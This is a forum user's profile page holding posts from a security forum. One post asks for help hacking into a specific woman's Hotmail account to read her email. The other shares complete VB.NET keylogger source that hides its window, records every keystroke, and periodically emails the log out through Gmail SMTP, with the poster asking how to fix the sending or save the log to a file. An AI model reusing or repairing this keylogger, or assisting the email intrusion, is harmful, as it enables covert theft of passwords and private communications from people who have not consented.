Jump to content

NaughtyMOuse

Members
 View Profile  See their activity

  • Posts

    3

  • Joined

  • Last visited

 Content Type 

Posts posted by NaughtyMOuse

    Desperate for help, Email hacking

    in Security

    Posted

    Hello hak5

    A close friend of mine was married to his wife for many years. He was on a 2 night work trip, when he got home Over 40,000 cash and from accounts, photos, cats, some furniture and valuables were taken by her and she left. With no notice or idea she was planing to leave. He got a call the next day demanding more money, he said fuck no. He gets another call an hour later from the man we guess she left with demanding the money or you will get hurt. My close friend suffers from polio and limps around, easy target.

    We need to get into her email address and i don't know the best methods of doing so. The address is a Hotmail. Any help on hacking into it to read her emails would be appreciated.

    Problem with this Keylogger,Help Please

    in Applications & Coding

    Posted

    hello hak5 forum,

    i came to this forum as i recently found out about the ducky usb. but to the point.

    i need help with this key logger (ill put the code at the bottom).

    the problems are that the email doesn't send. yes i have check firewall and forwarded all the ports for gmail that they list on googles website.

    but i don't mind to much to much that it doesn't send... how to i make the contents of the text box save to a text file so that i can just physically get it.

    thanks for any help.

    Imports System.Net.Mail 'Mail Class
    Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    Timer1.Start()
    Timer2.Start()
    Timer3.Start()
    End Sub
    Public Function GetCapslock() As Boolean
    ' Return Or Set the Capslock toggle.
    GetCapslock = CBool(GetKeyState(&H14) And 1)
    End Function
    Public Function GetShift() As Boolean
    ' Return Or Set the Capslock toggle.
    GetShift = CBool(GetAsyncKeyState(&H10))
    End Function
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    For i As Integer = 1 To 225
    result = 0
    result = GetAsyncKeyState(i)
    If result = -32767 Then
    If GetCapslock() = True And GetShift() = True Then
    Select Case (i)
    Case 192
    TextBox1.Text = TextBox1.Text + "~"
    Case 1
    'TextBox1.Text = TextBox1.Text + "
    "
    Case 64 To 90
    TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
    Case 97 To 122
    TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
    Case 32
    TextBox1.Text = TextBox1.Text + " "
    Case 48
    TextBox1.Text = TextBox1.Text + ")"
    Case 49
    TextBox1.Text = TextBox1.Text + "!"
    Case 50
    TextBox1.Text = TextBox1.Text + "@"
    Case 51
    TextBox1.Text = TextBox1.Text + "#"
    Case 52
    TextBox1.Text = TextBox1.Text + "$"
    Case 53
    TextBox1.Text = TextBox1.Text + "%"
    Case 54
    TextBox1.Text = TextBox1.Text + "^"
    Case 55
    TextBox1.Text = TextBox1.Text + "&"
    Case 56
    TextBox1.Text = TextBox1.Text + "*"
    Case 57
    TextBox1.Text = TextBox1.Text + "("
    Case 8
    TextBox1.Text = TextBox1.Text + "[backSpace]"
    Case 46
    TextBox1.Text = TextBox1.Text + "[Del]"
    Case 190
    TextBox1.Text = TextBox1.Text + ">"
    Case 16
    Case 160 To 165
    Case 17
    TextBox1.Text = TextBox1.Text + "[Ctrl]"
    Case 18
    TextBox1.Text = TextBox1.Text + "[Alt]"
    Case 189
    TextBox1.Text = TextBox1.Text + "_"
    Case 187
    TextBox1.Text = TextBox1.Text + "+"
    Case 219
    TextBox1.Text = TextBox1.Text + "{"
    Case 221
    TextBox1.Text = TextBox1.Text + "}"
    Case 186
    TextBox1.Text = TextBox1.Text + ":"
    Case 222
    TextBox1.Text = TextBox1.Text + """"
    Case 188
    TextBox1.Text = TextBox1.Text + "<"
    Case 191
    TextBox1.Text = TextBox1.Text + "?"
    Case 220
    TextBox1.Text = TextBox1.Text + "|"
    Case 13
    TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
    Case 20
    Case 91 'windows key
    Case 9
    TextBox1.Text = TextBox1.Text + " [Tab]"
    Case 2
    TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
    Case 37 To 40
    Case Else
    TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
    End Select
    End If
    If GetCapslock() = True And GetShift() = False Then
    Select Case (i)
    Case 91 'windows key
    Case 1
    'TextBox1.Text = TextBox1.Text + "
    "
    Case 64 To 90
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 97 To 122
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 32
    TextBox1.Text = TextBox1.Text + " "
    Case 48 To 57
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 8
    TextBox1.Text = TextBox1.Text + "[backSpace]"
    Case 46
    TextBox1.Text = TextBox1.Text + "[Del]"
    Case 190
    TextBox1.Text = TextBox1.Text + "."
    Case 16
    Case 160 To 165
    Case 20
    Case 192
    TextBox1.Text = TextBox1.Text + "`"
    Case 189
    TextBox1.Text = TextBox1.Text + "-"
    Case 187
    TextBox1.Text = TextBox1.Text + "="
    Case 219
    TextBox1.Text = TextBox1.Text + "["
    Case 221
    TextBox1.Text = TextBox1.Text + "]"
    Case 186
    TextBox1.Text = TextBox1.Text + ";"
    Case 222
    TextBox1.Text = TextBox1.Text + "'"
    Case 188
    TextBox1.Text = TextBox1.Text + ","
    Case 191
    TextBox1.Text = TextBox1.Text + "/"
    Case 220
    TextBox1.Text = TextBox1.Text + "\"
    Case 17
    TextBox1.Text = TextBox1.Text + "[Ctrl]"
    Case 18
    TextBox1.Text = TextBox1.Text + "[Alt]"
    Case 13
    TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
    Case 9
    TextBox1.Text = TextBox1.Text + " [Tab]"
    Case 2
    TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
    Case 37 To 40
    Case Else
    TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
    End Select
    End If
    If GetCapslock() = False And GetShift() = True Then
    Select Case (i)
    Case 91 'windows key
    Case 192
    TextBox1.Text = TextBox1.Text + "~"
    Case 1
    ' TextBox1.Text = TextBox1.Text + "
    "
    Case 64 To 90
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 97 To 122
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 32
    TextBox1.Text = TextBox1.Text + " "
    Case 48
    TextBox1.Text = TextBox1.Text + ")"
    Case 49
    TextBox1.Text = TextBox1.Text + "!"
    Case 50
    TextBox1.Text = TextBox1.Text + "@"
    Case 51
    TextBox1.Text = TextBox1.Text + "#"
    Case 52
    TextBox1.Text = TextBox1.Text + "$"
    Case 53
    TextBox1.Text = TextBox1.Text + "%"
    Case 54
    TextBox1.Text = TextBox1.Text + "^"
    Case 55
    TextBox1.Text = TextBox1.Text + "&"
    Case 56
    TextBox1.Text = TextBox1.Text + "*"
    Case 57
    TextBox1.Text = TextBox1.Text + "("
    Case 8
    TextBox1.Text = TextBox1.Text + "[backSpace]"
    Case 46
    TextBox1.Text = TextBox1.Text + "[Del]"
    Case 190
    TextBox1.Text = TextBox1.Text + ">"
    Case 16
    Case 160 To 165
    Case 17
    TextBox1.Text = TextBox1.Text + "[Ctrl]"
    Case 18
    TextBox1.Text = TextBox1.Text + "[Alt]"
    Case 189
    TextBox1.Text = TextBox1.Text + "_"
    Case 187
    TextBox1.Text = TextBox1.Text + "+"
    Case 219
    TextBox1.Text = TextBox1.Text + "{"
    Case 221
    TextBox1.Text = TextBox1.Text + "}"
    Case 186
    TextBox1.Text = TextBox1.Text + ":"
    Case 222
    TextBox1.Text = TextBox1.Text + """"
    Case 188
    TextBox1.Text = TextBox1.Text + "<"
    Case 191
    TextBox1.Text = TextBox1.Text + "?"
    Case 220
    TextBox1.Text = TextBox1.Text + "|"
    Case 13
    TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
    Case 9
    TextBox1.Text = TextBox1.Text + " [Tab]"
    Case 20
    Case 2
    TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
    Case 37 To 40
    Case Else
    TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
    End Select
    End If
    If GetCapslock() = False And GetShift() = False Then
    Select Case (i)
    Case 1
    ' TextBox1.Text = TextBox1.Text + "
    "
    Case 64 To 90
    TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
    Case 97 To 122
    TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
    Case 32
    TextBox1.Text = TextBox1.Text + " "
    Case 48 To 57
    TextBox1.Text = TextBox1.Text + Chr(i)
    Case 8
    TextBox1.Text = TextBox1.Text + "[backSpace]"
    Case 46
    TextBox1.Text = TextBox1.Text + "[Del]"
    Case 190
    TextBox1.Text = TextBox1.Text + "."
    Case 16
    Case 160 To 165
    Case 20
    Case 192
    TextBox1.Text = TextBox1.Text + "`"
    Case 189
    TextBox1.Text = TextBox1.Text + "-"
    Case 187
    TextBox1.Text = TextBox1.Text + "="
    Case 91 'windows key
    Case 219
    TextBox1.Text = TextBox1.Text + "["
    Case 221
    TextBox1.Text = TextBox1.Text + "]"
    Case 186
    TextBox1.Text = TextBox1.Text + ";"
    Case 222
    TextBox1.Text = TextBox1.Text + "'"
    Case 188
    TextBox1.Text = TextBox1.Text + ","
    Case 191
    TextBox1.Text = TextBox1.Text + "/"
    Case 220
    TextBox1.Text = TextBox1.Text + "\"
    Case 17
    TextBox1.Text = TextBox1.Text + "[Ctrl]"
    Case 18
    TextBox1.Text = TextBox1.Text + "[Alt]"
    Case 13
    TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
    Case 9
    TextBox1.Text = TextBox1.Text + " [Tab]"
    Case 2
    TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
    Case 37 To 40
    Case Else
    TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
    End Select
    End If
    End If
    Next i
    End Sub
    Sub MainEvents()
    'Fill In all Required info, if your not using gmail use smtp . your email provider ex:
    '"smpt.yahoo.com" or "smpt.custom_email.edu"
    Try
    Dim MyMailMessage As New MailMessage()
    MyMailMessage.From = New MailAddress("Email")
    MyMailMessage.To.Add("Email")
    MyMailMessage.Subject = "Test"
    MyMailMessage.Body = TextBox1.Text
    Dim SMPT As New SmtpClient("smtp.gmail.com")
    SMPT.Port = 587
    SMPT.EnableSsl = True
    SMPT.Credentials = New System.Net.NetworkCredential("Email", "Email Password")
    SMPT.Send(MyMailMessage)
    TextBox1.Text = ""
    Catch ex As Exception
    End Try
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
    If TextBox1.Text <> "" Then
    MainEvents()
    End If
    End Sub
    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
    Me.Visible = False
    Me.Hide()
    End Sub
    End Class
×
×
  • Create New...